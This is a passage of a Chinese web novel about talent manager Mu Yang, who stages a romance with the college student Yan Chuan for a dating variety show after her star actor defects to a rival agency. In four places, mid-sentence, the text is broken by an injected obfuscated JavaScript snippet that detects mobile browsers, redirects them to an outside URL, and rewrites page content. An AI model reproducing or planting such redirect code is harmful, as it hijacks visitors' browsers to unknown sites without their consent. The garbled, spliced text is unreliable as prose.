六六摇摇头,叹气:“我就是个先头兵,哪有这么好的事,江百川那么优秀,哪能轮得到我……牧姐,不好意思,我是说,人生了野心总要往高处走的,你别介意。” 牧阳闻言顿时露出几分伤感神色,恰到好处:“江百川人挺好的,平时很听指令,就是需要真诚耐心对他,他很能分辨身边人的感情真不真诚。” 六六愣了一下,反应过来忙点头:“受教了!我们高总真的很看好他……” 没等他说完,牧阳先一步走出电梯,姬慧立刻跟出去,六六晚了一步,还想跟牧阳并排走再说点什么,手机忽然响了一声,他只好抱歉地落后一步,在两个女人微笑的目光下拿起手机先看着。 牧阳带着姬慧来到包厢时,小春还在处理工作,神态过于专注,直到两位女士都已落座,文件也放下摆开才停手。 “小春,辛苦你久等了。”牧阳说,“那两位解约的事,我刚听说一些。” 小春递给牧阳一张菜单:“吃点什么,这边下午茶还不错。” 牧阳把菜单给姬慧,双眼始终没离开小春。小春叹了口气:“唉,坏事传千里,现在大家都知道了。温言还有蔷蔷他们团队都来问,我这不刚在和他们聊。” “他们听说这件事,意向有变动吗?”牧阳问。 姬慧已经拿着菜单出去了,小春的肩膀放松下来:“蔷蔷你知道,我们处的不错,她那边不用担心。另外几个就不好说了。” “温言新专辑发布,正是需要曝光的时候,她那边肯定很卡档期。”牧阳之前也做过功课,“男嘉宾呢,之前邀请的几位都还在吗?” “他们哪里比得过江百川的咖位啊,”小春做了个鬼脸,“姚柯叶听说能上节目,最近倒是安分得很呢。” “那他是该安分点。”牧阳点点头,看着小春喝饮料的动作,忽道,“我要是带个人上节目填坑,你觉得怎么样?不过男方是素人,我只能紧急培训一下。” 小春的眉毛立刻高高扬起,再也没落下来。她放下饮料,音量不自觉提高:“是我想的那样吗?!最近那个热搜。” “是我谈的一个小朋友,”牧阳捋了一下头发,表情带有一点老友面前的不好意思,“没想到被有心人设计曝光出去了,倒是正好合了他们心意。” 小春神色闪了闪:“其实明煊娱乐没说要解除协议。” 牧阳点了点头,并不意外:“他们来接触你,应该是通过江百川来找你,想塞自己人。” “原本,当初就签的观察嘉宾席位,”小春慢吞吞道,“江百川应该是最不受影响的那个。” “是。”这也是牧阳当初给江百川选择这个通告的原因。 事到如今,江百川不仅拍拍屁股就解约走人,还暗中利用她留下来的关系给新公司牵线搭桥,先是联系到竞体圈那两位嘉宾把他们游说走,甚至还打算硬塞给小春两个公司艺人。 怎么,她们是什么资源点,很好刷吗? “反正江百川这个万年单身狗,只会演戏,不会谈恋爱,不如让我这个前经纪人为他现场演示。”牧阳耸耸肩,“我是不介意,就是不知道他敢不敢了。” 小春肉眼可见的兴奋,她几乎快蹦起来了,抓着牧阳的手激动不已:“这个话题比竞体圈那两位合适多了,离奥运已经过去一年多了,今年他俩只是尾热,你们的新鲜度肯定更高。虽然开机就是这十一天的事,但节目至少要三个星期之后才会上……” “这个你可以放心。”牧阳真诚地看着小春的眼睛,“我们可以维持一定的曝光和热度。如果你同意这个方案,我们可以定期放料出去。” 小春愣了好几秒,才笑:“我这下真的相信你们是决裂了。你真舍得拿资源出来做这件事?” “你看着吧,”牧阳叹气,“除非他再遇到什么贵人,否则紫玉兰就是他的终点。” “紫玉兰”比“金威斯”好不了多少,境内有点流量,演过小爆款的男女艺人基本上都能运作上一两个奖项,包括前面被姬慧嘲讽的那个男艺人,也有一个“视帝”。 人均影帝影后,那么影帝影后也就不值钱了。即便这两个奖江百川都拿过,他也算不上什么“影帝”。 “天啊,”小春捂住嘴,像是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992395|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么,最后又忍住了,“那按你说法,我是捡了大便宜了。当然,我还是希望上我节目的人,热度都能再高一层。” “你这边OK的话,我这边当然能做到。”牧阳说。她看小春终于有意向了,这才适时递出自己和晏川的资料。她点开咖啡馆内录制的视频,将进度条重置到开头,点上暂停也递过去。 姬慧回来了,身后的服务员托着小托盘,里面有新的饮料、甜品。 牧阳接过一杯,一边喝,一边低头处理其他几个艺人团队发来的消息。 小春低着头,看了一会视频,将平板还给牧阳:“其实明煊那边也约了我,但是他们没提前告知,我只能说待会儿有空就联系他们——他们可能人已经到了。” “其实我们碰到六六了,就在负一层电梯里。”牧阳放下饮料。 小春耸耸肩:“我见见他们。” 牧阳起身,拍拍身边的姬慧:“那我们就先告辞了。这个资料我微信发你了,整个文件我也打包,让助理传你邮箱。” “嗯嗯,谢谢你,”小春站起来送她,“麻烦你今天过来。” “没事儿,你继续忙。”牧阳带着姬慧下楼,示意小春留步。 “冰箱里还有水吗?”牧阳上车就问姬慧。 姬慧拿了两瓶水,递给牧阳一瓶,自己也拧开一瓶:“刚刚那饮料都没喝几口,小春姐不厚道,都不多留我们一会儿。” 牧阳一听就笑:“留我们干嘛,总不能晾着人家明煊不管,大招牌现在去人家那儿了。” 姬慧情绪一下子低落下去:“我看她的态度……” “没事,我们尽力了,没消息就没消息吧。”牧阳说,“专心开车,既然今天没什么事,到公司之后你就先回去吧。” “姐,我想跟着芙姐再盯盯舆情。”姬慧系好安全带,小心看了眼后视镜。 牧阳托着腮看向窗外,隔了好几秒才回复:“先休息。如果小春答应我们,接下来要连轴转,而且保不齐要进组。” “好。” 牧阳缓缓闭上眼睛。 她们的车还没行驶出去几公里,牧阳的电话又一次响起。她接起来:“喂。” “你的打算我听说了,”电话那头的男声说,“那不过是个赝品。综艺会放大人的一举一动,他又不过是个素人,你带他,于你口碑没有好处。” “别这么叫他,”牧阳看着窗外的车流,接着视线又转移到玻璃上倒映的自己,“小川还挺上道的。他又年轻,又漂亮,还很有文化,很适合炒话题。” “你叫他什么?!” “江先生,我称呼我家小朋友什么,似乎与您无关。”牧阳看着自己缓缓眨了眨眼睛,“抱歉,公司的交接流程已经在走了,如果有什么遗漏,你可以再来找我。” 她没理会电话那头逐渐粗重的呼吸声,继续说道:“对了,还没恭喜你加入明煊。期待你更好的发展,祝你一切顺利。” 对面没回她的话。 电话被挂断了。 姬慧看起来想说什么,但看到牧阳的神色,最后还是闭上嘴专心开车。 牧阳再次靠在椅背上。手机震了一下。 她拿起来看了一眼。 一只简笔画的小狗出现在她的对话框里,朝着她奔来,无声地“汪”了一声。 5. 【五】 [晏川]:今天晚上我们有部门聚会 [晏川]:晚上六点之后我回复要是不及时,请你给我打电话 牧阳看了一会他的消息,打字。 [陌上花开]:好 [陌上花开]:中午我吃了河粉,不好吃 牧阳在自己的表情包里找了找,好半天才翻到一张哭哭的表情,是一只看起来贱贱的猫。 忘记从谁那里薅来的表情了。现在看来倒是很可爱,牧阳干脆点进详情,添加了这贱猫系列的全套表情。 [晏川]:? [晏川]:可恶! [晏川]:打倒难吃河粉 [晏川]:下次你回学校,我请你吃 [晏川]:除了河粉还有吃别的东西吗? [陌上花开]:还吃了几个蒸饺,放心 牧阳回了一个摸摸头的表情。 ……是不是不太好?看起来像长辈对晚辈。 [晏川]:[蹭] 下一秒,她收到了对方小狗抱腿的表情包。 看着这只顽皮的简笔画小狗在聊天框里转来转去,从今早积累的疲惫似乎都能消散不少。她甚至恍惚有一种年轻十岁的错觉,说幼稚的话,做幼稚的事,像一本正经地玩过家家。 只是晏川这个男孩子的态度…… “牧姐,到了。”姬慧轻声提醒。 “你先回家吧,”牧阳解开安全带,“明天睡饱了再来上班,别熬夜刷剧看手机,别看热搜。” “知道知道。”姬慧嘴上答应得飞快。牧阳看了她好几眼,确认她听进去了,才把她放走。 “第二批料都放出去了吧,”牧阳走进公司,拍拍又在小鹿角吧台旁边排队的王正芙,“你都在这了,看来已经忙得差不多了?” “吓我一跳!喏,下午就开始发力了,还在等验收,”王正芙撇撇嘴,“姬慧呢?被你派去侦查了?” “侦什么查,放回家休息了,”牧阳笑,“人家都几天没睡好了,不是被你叫起来,就是被我call,唉。” “你有自知之明就好,大魔头。”王正芙等到了自己那杯,举起来对着牧阳敬了一个,“对了,听说意卷江湖那边要求明煊做切割了,哈哈哈哈哈。” 牧阳皮笑肉不笑:“她想蹭,哪有蹭上了就能随便甩掉的。” “还得是咱们,我就喜欢看他们狗咬狗爽。”王正芙拍拍她的肩。 “你怎么能喝这么多杯咖啡,不会心悸?”牧阳疑惑地看了一眼她怀里的冰美式。 “和你这种糖水人说不清楚。”王正芙故意斜眼挤她,“不加奶不加糖不加巧克力,你就喝不了一点咖啡了,你这个低俗的糖水人。” “……你歧视我,”牧阳移开视线,“我就是比较喜欢巧克力。” 明煊娱乐,某间会议室。 “所以于利春的意思是,她确实提交了资料,很有意向要上节目。”江百川皱着眉,“你甚至看到了那张饭桌上,有她们留下来的资料?” “是,”六六抬手抹了把额头上的汗,“而且,小春姐还说,牧姐打算带的那个男素人条件很好,如果他是牧姐接下来的主捧的话,大家不妨送个人情——” “荒唐!”一掌拍在办公桌上,重重一声,江百川脸色极为难看,“她都没时间给那小屁孩做背调,就敢走这种险棋……” “百川哥,咱们要不就找借口拒绝吧,反正出了这种事情,小春姐那边也不好说什么。反正还没官宣,就说营销号带节奏,工作室下场辟谣,刚好也为我们合作宣传宣传。”六六趁势道。 “不了,”江百川抬起一只手,“如期参加,就按原本的行程安排走,该配合配合。明天等通告流程结束,你送我去云境,我有东西落在她那儿。” 六六明显想说什么,江百川瞥了他一眼:“是家里以前养的宠物,我必须亲自去。” 在他强势的目光下,六六败下阵来:“行行,好的哥。” 牧阳的眼睛甚至睁开得比闹钟更早。 这一觉睡得太浅了,浅得好像有家里有幽灵一样。 不至于,她和江百川早就分家了。婚内他就没来过这,她图这里离公司最近,才把这间房拿走。 手机上全是消息。没什么重要的,她把置顶一次性折叠起,点开晏川发来的信息。 年轻的小伙子通宵在别墅轰趴,第二天抓个头发,照样神清气爽去上早八。 还给自己拍坐前排的照片。这是在汇报什么?聚会的照片不知道发吗。 [陌上花开]:昨天和同学一起出去聚餐,有合影吗? 没想到对面只是一味地正在输入中,等她上完底妆,也没等到对方一句回复。 牧阳也不在意,回公司看到收拾包准备下班的王正芙。 后者拍拍她的肩:“搞定了。” “我看到了,辛苦,睡饱了再来。”牧阳也拍拍她的背,放她走。 前辈很平静,后辈就很激动了。 “牧姐!你成功了?!”姬慧兴奋不已地凑过来,“小春姐今天真的会过来?” “嗯,我不是叫你去安排了吗?” “嗯嗯,我已经叮嘱过一遍新来的行政妹妹了,”姬慧蹭过来,一脸星星眼的表情,“但我还是好佩服你,我看小春姐昨天那个样子,还以为肯定难了……” 牧阳不置可否地笑笑:“行了,成不成的,都是——” 都是赌一把。 本来她还没把握,但是于利春一定会试探两边口风,高明煊派来的又是六六。江百川那么喜欢多想,六六为了得到他的信任,该说不该说的,肯定全会告诉他。 ——那么,被激将的江百川,肯定会答应如期参与录制。 而狡猾的于利春,一定不会放过“流量明星看前经纪人谈恋爱”这个卖点。 “既然她要过来谈,那是最好的。” 牧阳说完,表情一凛:“姬慧,我把你推给……小川,你问问他课程安排,下午把他接到公司来。” “……完了,”她按住自己的额头,“他说话太轻松,我都差点忘了他是个学生。他是不是有课程安排,方便请一个自然月的假吗?至少也要三个星期,否则我们的录制不完整,没法完成节目组的制作需求。” 姬慧惭愧地低下头,显然她也遗漏了这一点:“没关系的牧姐!你先推我过去,我问问他!” 牧阳点点头:“要是不行的话,我这边争取……”大概也只能争取到异地录制,排期都到位了,怎么可能拿不到素材。实在不行…… 姬慧看到这个“一杯朱古力”就忍不住呵呵。 怎么说呢,这位看头像、昵称、朋友圈背景和签名,确实都是小帅的配置,但是感觉没什么个性。要不是看过咖啡馆里他那张脸,这整个人简直就像“帅哥模板头像”“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992396|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帅哥朋友圈图文配置合集”里面随便搭出来的。 话虽如此,姬慧还是要把上司交代的信息传达到位。她就差去学校里架着一把刀威胁他要他请一个月的假了。不过这招估计没用。 出乎意料的,晏川这小子上道而好带,对她不仅礼貌问好,还告诉她“慧姐要是有需要,我可以帮忙打包食堂的肠粉”。 姬慧当然是礼貌拒绝。 “肠粉?!真应该让你打包一份,我一直很想念三食堂的肠粉,没想到今天你在那吃。”牧阳一边笑着说,一边捏着晏川的胳膊,把他扯回自己的办公室,“砰”一下关上房门。 晏川的衣领都顺着她的动作扯开了些许,等牧阳一松手,他就开始默默调整,偏偏牧阳看都不往他的方向看。 “这么早就来了。”她的神色一下子冷下来,偏偏语调还是热情的,“喝点什么?让姬慧下楼去给你拿。” “牧小姐这里有什么,我都可以。”晏川笑着坐下,两手放在腿上,看起来站、走、坐都没有问题,赏心悦目。 他的视线一直追随她:“今天刚好下午没课,我作业晚上回去写也没问题,周末寝室不熄灯。” “我们这行没有周末的,”牧阳敷衍地笑,抱着几个文件夹走过来,一下坐在他身边。 几乎是肉眼可见地感觉身边这个年轻男人浑身都僵硬了。 牧阳本不想逼得太紧,只是离得那么近,她免不了好奇:“你喷香水了?这是什么,祖马龙?” “没,可能是室友的,沾了点。”晏川说。他的声音听起来倒是很镇定,只是喉结滚动,暴露了他。 牧阳嗅闻他的衣领,沿着衬衫闻到他胸口。 “怎么沾上的,他沿着你的衣服领子给你灌下去的?”她抬眼看他,“香水在耳后抹一下就够了。而且你一个学生不要用那么贵的香水,不符合你的人设,保持干净就好。” “……知道了。”晏川努力放平呼吸,直到牧阳停止嗅闻,坐回旁边。他悄悄侧头看她,发现她在改他的备注。 晏川,被她改成了“小川”。 “你放心,”牧阳边改边说,“你的昵称是独一份的,我会置顶你,保证没有破绽。” “我也置顶你了。” “那是你该做的,”牧阳反应过来,“你是不是一直在叫我‘牧小姐’?” “是。” “太客气了,如果你叫我‘牧小姐’的话,我应该叫你‘晏同学’。” “我希望你叫我‘小川’。”晏川看着她。 他有一双看谁都很深情的,悲伤而湿漉漉的眼睛。 牧阳吸了一口气:“所以你要换个称呼,称呼我。” 看晏川犹豫的神色,牧阳连忙道:“其实你也可以叫我小阳,阳阳也可以。” 晏川没有说话。 牧阳狐疑地看着他的神色,摆手:“千万不要叫宝宝!也不要亲爱的!听起来很恶心!” “……不是,”晏川也破功了,他连忙否认,似乎这一打岔让他放松下来,“……那,我可以叫你‘谦谦’吗?” 时间好像在那一刻静止了。 牧阳盯着身侧漂亮的男孩。他垂下眼睫的时候,谁都忍不下心去苛责他。叫人不忍心找他问根究底。 但是,牧阳还是饶有兴致地盯着他,甚至把手放在了他的手上,牢牢地按下去:“你从哪里知道的,我的小名?” 6. 【六】 “……我昨天没有和他们玩太久,”晏川忽然说,“其实我是个很孤僻的人,只是努力装作融入的样子。” “拍完照我就单独找了个地方借口写推送,再也没和他们聚在一起过,照片我存了,群里发的我都留着,毕竟写推送也要用。” “会演就继续保持,实在累就退出。”牧阳盯着他,“你认识我?你从哪里扒来的我的消息?” “……七年前的杂志采访,你是风雨中坚强向上,铁打不动的那棵大树,撑起一颗冉冉新星。”晏川说,“你的朋友说,谦谦,括号,牧阳,括号毕,是我们当中最硬的那个铁人。” 牧阳怔了好半天,才回神:“当年冯姐还这么说过我呢,我自己都忘了。” “原来那个匿名‘二马’就是冯老师,我竟然也没有想到。”晏川也跟着露出恍然的神色, “好吧,”牧阳叹了口气,“你怎么会连那个时候的采访都看?” “是倒着看的,”晏川轻声解释,“往前追溯,一直看到你入行的时候做的第一档综艺节目。” “百科上吗?那个不是,”牧阳说,“大部分从业者都做过无法上映的节目,能够在网上找到都是幸存概率事件。能在网上找到的节目都是我入行第二年做的了,那也算我运气好。” “我还看了据说你以前参与制作的几期,你在采访里说你那个时候是实习生,”晏川忽然转头看她,好像刚才的紧张青涩全不见了,“谦谦姐姐,我可以拜托你一件事吗?” 牧阳顿时有一种心脏漏跳一拍,或者咯噔的错觉。 怪不适应的。但她没有反驳他的话,尽量平静道:“你说。” 就在她以为这个油滑算计的坏小子会狮子大开口的时候,他高兴地从包里翻出一张自己的简历,递到她面前:“能不能帮我开实习证明?牧小姐知道我是大学生,我真的很需要这个。” 他将简历献宝似的给她看:“而且你给我开实习证明的话,我就能请一个月的假了,请一个半月也没有问题。” 牧阳没忍住,捏着他简历的手微微颤抖。 晏川有点紧张地补充:“老师那边,我自己会去说明的,作业我会自己带着完成……” “噗,哈哈哈哈哈哈——”牧阳没忍住笑出声来,随手把简历放下,“就这样?你该不会还要把作业带到综艺上去做吧?被网友扒出来你在做什么,你的学术水平可就暴露无遗了。” “不会,那不一样!我是说抽空……我自学……”晏川终于反应过来,他瞪大眼睛看向牧阳,“你在笑我?” “没有。”牧阳赶紧摆手。 没等晏川放松,她接话道:“你上网课可以,但是不要耽误拍摄……哈哈哈,怎么感觉和带小孩春游一样?还是带个装模作样的好学生。” 晏川安静地撇开眼,一脸“我伤心了”的样子。 牧阳捶了一下他的胳膊,还没说话,就听到姬慧热情洋溢的声音:“小春姐,没想到你这么快来!” “我认识,”小春说着,门都没敲就闯了进来,大大方方看向沙发上亲密倚靠的两个人,“是吧?我记性就是好,还记得你办公室就在这里。” “来得这么快,怎么不喊一声让姬慧下去接你。”牧阳站起来牵着于利春坐在自己对面,旁边跟着站起来的晏川等她和于利春都坐下,才跟着坐回原位。 小春看着他们就笑:“两位都在就好。小朋友真的脸嫩,好久没看到这么新鲜的面孔了。” “你平时接触的那几位咖位都摆在那,当然都是老面孔。”牧阳装不在意地整理茶几上的文件。 小春眼尖:“你手里拿的什么,个人简历?” 牧阳抖抖手里的简历,一下子笑出来,指了指旁边的晏川:“小朋友让我帮他看简历呢。” “这么大人了,这种事情自己做就好了呀,你姐姐平时可忙了,哪有空操心你们的事。”小春一边说,一边从自己的包里掏出合同。 晏川微微低下头,显得有些不好意思。牧阳看也没看他那边:“小川愿意找我,是他欣赏我,信任我,你别挑拨离间。” “行,这也是我这个孤家寡人,活该的。”小春叹气,递上合同,“都是我找团队审过的,应该基本没问题,这几条你看看有没有需要调整了,咱们可以再协商。” 牧阳笑着接过合同,拍拍身边的晏川:“你去外面找姬慧,让她把人给我叫来。” 晏川立刻起身,他走的时候还听到于利春跟牧阳撒娇。 “我,你都不放心?你还要叫律师来看,你呀——” “小谢好不容易来一趟,我怎么好意思直接把人放走,当然要趁她还在,物尽其用。” 等晏川走了,牧阳和小春都沉默下来,两人互相对视了好一会,谁也没有开口。 良久,小春才说:“你们看起来默契度不够。他看起来也不太放得开。这行你也做很久了,很多话不用我讲。综艺会放大人的个性,不止包括他的,还有你的。我的立场,希望你理解。” “当然。”牧阳也一样正视她的眼睛。 “不管你们是不是真的情侣,”小春的手按在合同上,“上了节目,你们只能是真情侣。这是‘周旅’的卖点,哪怕你们离开节目后就‘分手’,你们也是以情侣身份出现在荧幕上的。” “我们当然是真情侣,”牧阳摊手,“很遗憾,以目前的审核标准,你没法到我们被窝里来拍。” 小春也跟着笑笑,气氛松弛下来:“我没那个意思,只是我必须先说清楚,你也理解。年轻人,那方面应该很好使吧?” 牧阳笑笑,一切尽在不言中的样子。门被敲响了,晏川的声音响起:“小慧姐带人进来了。” “请进。”牧阳说。 等于利春走了,牧阳还打算留难得来一趟的谢律师一起吃饭。只是谢律师刚好有约,大家只能作罢。牧阳让姬慧先回去睡觉,毕竟后天开始她们这个小团队都要跟组。 晏川看着牧阳号召大家下班回家,主动给公司断水断电,侧头游移不定地问她:“接下来去哪里?” 牧阳伸手将他从公司里拉出来:“去看电影?” 晏川一下露出惊讶的表情。 “开玩笑的。”牧阳说。 她笑着,盯着他一瞬间失落下去的神情,没忍住伸手掐了一把他的脸:“我是说,去·我·家。” 这下不是失落,是惶恐了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992397|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这就去吗?”晏川问。 “怎么,没去过女人家里?”牧阳看了他一眼,“也对,你的人设是贞洁少男。” 晏川:“……”他幽怨地瞥了她一眼。 到停车场了,牧阳掏出钥匙,忽然想到什么,问他:“你会开车吧?” “会。” 牧阳把钥匙抛给他:“试试你车技。” 晏川接过来,看了一眼:“以后我有机会坐你的车吗?” “你想坐我的车?”牧阳有些意外,“我还以为你们男孩子看到这种车,都会想开一开。” 晏川微笑着递回去:“当然。不过,更想看一眼你开车的样子。” 牧阳和他对视片刻,只好把车钥匙接回来:“好吧,给你一次机会。” 晏川记得那份资料,牧阳一般坐的都是公司名下那几辆商务车,车牌他都认识。今天带他走的是她的私车,他第一次见。 牧阳的车华丽而张扬,像一团燃烧的火焰,明亮又炽热,很容易灼伤别人。但他知道,探手过去,只能感觉到冰冷的金属。 牧阳很忙,选择也很多。 他能抓住的机会很有限,这是为数不多的一次可能性。 “没坐过副驾?”牧阳的手搭在方向盘上,手指轻轻一点。 “……什么?”晏川慌忙调整表情,看向她。 牧阳看着他有些心虚的神色,心想自己终于见到了这小孩的些许破绽,心下稍松,手指敲了敲他的肩膀。 晏川茫然地和她对视,像是想说什么的样子。 “安全带。”牧阳无奈道,“我是什么剧里的霸总吗,要亲自帮你系?” “……抱歉!”晏川立刻反应过来,拉过身侧的安全带,动作丝滑流畅,甚至还拉住她未能及时撤离的胳膊,迅速贴到自己脸侧,“不好意思,第一次坐你的车,分心了。” 牧阳收回手,一脚油门踩下去:“演这套有点尬了,我们要看起来像相处了一段时间的情侣,不是刚认识的富婆和夜场男公关。” 她说完就意识到自己这话有些过了,连忙道歉:“我不是这个意思,我只是觉得我们可以相处得更像朋友一点。” “朋友?”晏川捕捉到关键词。 “对啊,”牧阳说,“像朋友一样说话,很平常地聊天相处。你就当第一次去朋友家里玩。” “哦,朋友,”晏川顿了一下,“确实是第一次去朋友家。” “怎么了,之前没朋友?” “朋友是有……但是不太一样,”晏川瞥了牧阳一眼,“你没有家长。” 牧阳笑出声了:“所以来我家不用带礼物,开心吗?” “……也不是真的没带。”晏川小声反驳。 “哦对,打包食堂菜?”牧阳想起办公室里的对话,“你是给姬慧了吗,是不是放公司里了?” “没有打包,是我问她,她提到了,没让我带。” “哦,想起来了,”牧阳转过弯来,“所以,你带了什么?” 晏川说:“到了我就给你。” 等牧阳停了车,晏川刚解开安全带,她就问他:“什么礼物?” 晏川发现车门锁了。 7. 【七】 “先别急着走,”牧阳摊开掌心,“礼物。” “给你!”晏川竖起包,从包里掏出一个盲盒。 是小狗系列的摆件,目前还没拆开。 “哇,好可爱,”她摇了摇这个盒子,“那我拆开咯?” “当然。”狭小的车厢里,晏川期待地看着她。 她忽然有一种恍惚的感觉。为了忽视面前这种过分强烈的既视感,她拆盒子的动作有些急躁,手指按下去的半圆皱起,没有及时破开。 “我来。”晏川接过,轻巧地按下,又递到她面前,“姐姐。” 牧阳接过盲盒。耳根有些发热,她有些后悔刚才一时之间的退拒和保守。 明明总得在家里留下一点两人交往的痕迹,她却下意识想着如果少年人送的礼物不合时宜,至少能找个借口留在车上。 这样显得迫不及待拆礼物的她很坏。 只是一瞬间的跳频,她手上动作不停,很快从盒子里捞出一只被塑料袋“绑架”的小狗。 “哇!”晏川比她还激动,“是隐藏款,导演小狗!” “导演小狗?”牧阳跟着一起看。 “这个盲盒系列是不同职业的小狗,正常情况下是西装小狗、博士小狗、工装小狗这类的,一共有八款,这个是隐藏款,抽到的概率只有九十六分之三,是导演小狗。”晏川抬头看她,“你运气真好。” 四目相对,牧阳撞进他的眼睛。 “是你选的好呀,”牧阳笑道,“谢谢你送的礼物。走吧,赶紧上去。” “嗯。”晏川跟着她下车,背着包上楼。 牧阳还在捏这个小摆件。 她在思考这个东西放哪里。 九十六分之三的隐藏款,还是个有纪念意义的小礼物,第一次上门做客的留念。 得找到一个合适的地方摆着才行,要让制作组的人看到,要在采访的时候能录进去。 电梯上行没多久,她的思考迅速迅速,也没有关注身侧晏川打量、关注的视线。小朋友第一次来这种地方,喜欢观察是正常的。 她没注意那双眼睛偶然流露的深沉。 “到了!”牧阳为晏川开门,然后进去唤醒全屋的智能家居。 她熟练地找出一次性拖鞋,愣了一下,立刻打开备忘录,写上“情侣拖鞋”。 “先穿这个,想喝点什么?”牧阳说着,忽然顿住,“你是不是有门禁?我离开学校太久了,都忘了这件事。” “没有门禁,”晏川低头穿拖鞋,“我们会一直待到很晚吗?” “在我预想中不会。”牧阳说,“但是我不知道你的门禁时间。” “寝室楼没有门禁,我随时可以回去。”晏川穿好拖鞋,侧身看向离玄关最近的柜子,“多晚都没关系。我还可以打车回去。” “这里不好打车,”牧阳的声音稍远,过了一会又近了,“我开车送你。至少,要送你去一个合适打车的地点。” 晏川听懂了,赞同地点点头:“这里确实不方便打车。” 保密措施很严,网约车大概率进不来。 话音刚落,她已经提着两瓶饮料走到他面前:“其实这种时候适合小酌一杯,唉,有点遗憾。酸奶、椰子水你要哪一个?” “都可以。”晏川歪了歪头,“好新的饮料。” “品牌方的赠品,多得是,喜欢多拿点,给你室友带,”牧阳说,“公司更多。” 晏川接过饮料,发现两瓶都被摆在他的手上。身边的牧阳则拿着纸巾,在柜子表面擦了擦,把导演小狗放在了一盆绿色植物旁边:“好了,就让导演在这里掌机。预备,三、二、一,好戏开场!走,我们来对对剧本。” 牧阳对他比了个手势,于是他拿着两瓶饮料,跟着她在客厅的沙发上坐下。 晏川规规矩矩地坐着。 她侧头望去,伸出去的手下意识一僵。暖黄灯光的投影下,有那么一个放松的瞬间,她以为她身边还是那个“小川”。 ……这么像? 哪里像。 牧阳手没停,她弯腰从边几底下抽出几张白纸,又从茶几的果盘里随手找出几支签字笔,在纸上划了几道,试笔芯。 晏川看她摇了好几下不出墨,于是伸手把这几支废掉的收拢过去:“垃圾桶在哪里?” “喏,那边。”牧阳指了指,随手把手边的笔也扔给他,“这支也不行了。” “嗯。” “这支……这支可以,好的。总算有可以的了,我们来梳理一下感情线吧。”牧阳划顺手了,用这支笔在纸上写下“情感经历”四个字。 晏川坐回沙发边。他发现牧阳已经滑到沙发底下,两条腿陷进地毯里不出来了。于是他也有样学样坐在地毯上,牧阳眼疾手快给他拿了个蒲团。 他一坐下,两人的距离便显得过分亲近。这个距离,两人之间几乎连一拳都不到,就算是陌生人都会紧张到心跳加速。 “聊聊吧,我们是怎么认识的?还有一些必须确定的关系节点,”牧阳一边说,一边在纸上写,“第一次见面、第一次约会、第一次牵手、第一次接吻,这些都有可能会被过问。” 晏川看着她写字。 她写字的动作生疏了。似乎是近些年鲜少动笔的缘故。 “我们第一次见面是在一个雨天,”晏川忽然说,“很大的一场雨。” “你从学校出来,准备回家。我那个时候又累又饿,还很困,浑身发热,感觉自己快死了。就在我差点昏倒在路边的时候,你从天而降。” 牧阳听笑了。只是她的笑声在抬头的一瞬间就消散了。 晏川正侧头看着天花板,好像是在回忆,又好像是在编造。他想得太认真,反叫她不好打扰。 牧阳盯着他的侧脸,忽然有点想起当年在大学排剧时候的江百川。 她都快忘了这个时候了。后来她忙于一场又一场商务活动,几乎很少陪江百川试戏,这些任务也大多交付给了助理。 当年他们在戏剧社一起排练话剧,江百川代入角色的时候也是这样的。 很认真,很狂热,在一种忘我的状态下逐渐变了一个人。 “然后呢?”她收敛起笑,轻声问他。 “你嫌我麻烦,”晏川低声说,“但是你好像还挺开心的?我不明白你为什么这么开心,你说,正好,我帮你解决了一桩烦心事。” “那我确实应该开心。” “不过我确实给你添了很多麻烦,”晏川低着头,“我不知道你什么时候会丢下我,我很害怕被抛弃,所以做了很多事,想讨好你。但是,你好像更生气了。” “为什么呢?你做了什么事,让我这么生气。” “很多拆家的事,”晏川好像把自己也逗笑了,“我用冷水冲你的咖啡,把咖啡泡成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992398|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 